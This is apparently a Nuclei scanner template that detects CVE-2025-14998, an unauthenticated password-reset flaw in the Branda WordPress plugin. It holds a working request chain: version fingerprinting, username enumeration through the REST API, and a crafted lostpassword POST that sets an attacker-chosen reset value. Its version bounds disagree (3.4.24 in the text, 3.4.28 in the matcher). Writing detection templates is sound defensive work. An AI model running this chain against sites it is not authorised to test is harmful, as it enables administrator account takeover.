id: CVE-2025-14998 info: name: Branda WordPress plugin - Privilege Escalation author: theamanrawat severity: critical description: | Branda WordPress plugin <= 3.4.24 contains a privilege escalation caused by improper user identity validation in password update functionality, letting unauthenticated attackers change arbitrary user passwords, including administrators, exploit requires crafted request. impact: | Unauthenticated attackers can change any user's password, including administrators, leading to full account takeover and privilege escalation. remediation: | Update to a version later than 3.4.24 or the latest available version. reference: - https://nvd.nist.gov/vuln/detail/CVE-2025-14998 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2025-14998 epss-score: 0.0181 epss-percentile: 0.77342 cwe-id: CWE-639 metadata: verified: true max-request: 7 tags: cve,cve2025,wordpress,wp-plugin,branda,intrusive,vkev variables: rp_token: "{{rand_text_alphanumeric(20)}}" rp_control: "{{rand_text_alphanumeric(20)}}" flow: http(1) && http(2) && http(3) http: - method: GET path: - "{{BaseURL}}/wp-content/plugins/branda-white-labeling/readme.txt" matchers: - type: word part: body words: - "Branda" internal: true extractors: - type: regex name: version part: body group: 1 regex: - "(?i)Stable tag: ([0-9.]+)" internal: true - method: GET path: - "{{BaseURL}}/?rest_route=/wp/v2/users&per_page=1" matchers: - type: dsl dsl: - 'status_code == 200 && contains(body, "\"slug\"")' internal: true extractors: - type: json name: wp_user part: body json: - ".[0].slug" internal: true - raw: - | POST /wp-login.php?action=lostpassword HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded user_login={{wp_user}}&redirect_to=&password_1={{rp_token}}&wp-submit=Get+New+Password - | GET /wp-login.php?action=rp&key={{rp_control}}&login={{wp_user}} HTTP/1.1 Host: {{Hostname}} - | GET /wp-login.php?action=rp HTTP/1.1 Host: {{Hostname}} - | GET /wp-login.php?action=rp&key={{rp_token}}&login={{wp_user}} HTTP/1.1 Host: {{Hostname}} - | GET /wp-login.php?action=rp HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: dsl dsl: - 'contains(header_3, "invalidkey") || contains(header_3, "expiredkey")' - 'status_code_5 == 200' - 'contains(body_5, "resetpassform") || contains(body_5, "rp_key")' - '!contains(body_5, "invalidkey")' - 'compare_versions(version, "<= 3.4.28")' condition: and # digest: 4a0a004730450220399584c98fcb54b72194b64ccfc2031c6c80fbe46b676600e88f668ec9328493022100ed63f637e65ea82f379b580511d63704c687a99fa7efff3b381a22d1905b426d:922c64590222798bb761d5b6d8e72950